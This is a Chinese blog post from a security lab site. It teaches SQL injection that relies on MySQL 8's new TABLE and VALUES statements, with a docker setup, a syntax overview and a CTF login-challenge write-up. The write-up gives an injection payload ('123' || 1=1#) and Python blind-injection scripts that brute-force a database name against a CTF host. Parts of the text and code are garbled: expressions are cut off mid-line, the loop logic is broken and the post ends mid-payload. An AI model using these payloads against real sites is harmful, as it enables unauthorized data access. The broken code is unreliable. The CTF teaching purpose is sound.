您当前的位置: 首页 >  sql

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

一篇文章弄懂mysql8新特性注入

合天网安实验室 发布时间:2021-11-16 16:20:00 ,浏览量:0

前言

最近打比赛的时候遇到了mysql8的知识点,这里就从环境搭建开始到注入一起一步步慢慢学习。

环境搭建

我这里是用docker在服务器上拉的,然后用navicat来看的

下载

docker pull mysql:8.0.21


docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.21

进入mysql容器,并登陆mysql

docker exec -it mysql8 bash


mysql -uroot -p
//然后输入密码

开启远程访问权限

use mysql;


select host,user from user;


ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';


flush privileges;

05eb492ce4feea9c29e7f376459b467a.png

连进去看看版本号就可以了,如果是8.0.21则环境搭建完成

eb8956b6207ab813e2e0822ac1a5ca52.png

基础知识

本次测试所用到的user表内容如下

9948d6c83c70c017adafc0c2bc9f23aa.png

table 基本用法

在MYSQL8以后出现的新语法,作用和select类似。

作用:列出表中全部内容


语法:TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

d83cc8d5d6fa3bf902896553c1cb61a7.png

支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。

table user order by 2
table user limit 2

与SELECT的区别:

1.TABLE始终显示表的所有列 2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句

注意事项 比较问题1
(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)


结果
TABLESOACE_NAME
tmp/user

这里用小于号进行比较

select (('u','')
香山杯---login

这个题目没环境,这里就凭借自己的记忆力简单写一下解题过程。

描述
题目内容:只是一个简单的登录框,登录就有flag。


hint: mysql8新特性:values的利用
解题过程

进去就一个登陆框,直接抓包看看

发现这里对于不同的sql注入字符的弹窗是不同反应,如果被过滤了会弹出呵呵

简单爆破一下,发现select被过滤了,这里想到了mysql8.0.2版本的table绕过。

这里还可以用||来进行拼接。

测试,发现这样就可以进行注入。

username=123' || 1=1#&password=456&login=login

脚本

import requests


flag=''
i=0
while True:
small=32
big=127
i=i+1
while small>1
data={
'username':f"1' || ascii(mid(database(),{i},1))>{mid}#",
'password':'1',
}
r=requests.post('http://eci-2ze6yq2cnbmcsh0tfry6.cloudeci1.ichunqiu.com/',data=data)
if '密码错误' in r.text:
small=mid+1
else:
big=mid
if(i>4):
break
else:
print(chr(small))
flag+=chr(small)


print(flag)

通过上面的脚本可以知道数据库的名称,然后通过table去爆破表。

import requests




def ord2hex(string):
result = ""
for i in string:
 r = hex(ord(i));
 r = r.replace('0x','')
 result = result+r
return '0x'+result


tables = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ""
for i in range(0,50):
for j in range(48,122):
 data = {
 # 'username':"a0'||(('1','admin','%s')            
关注
打赏
1665306545
查看更多评论
0.0443s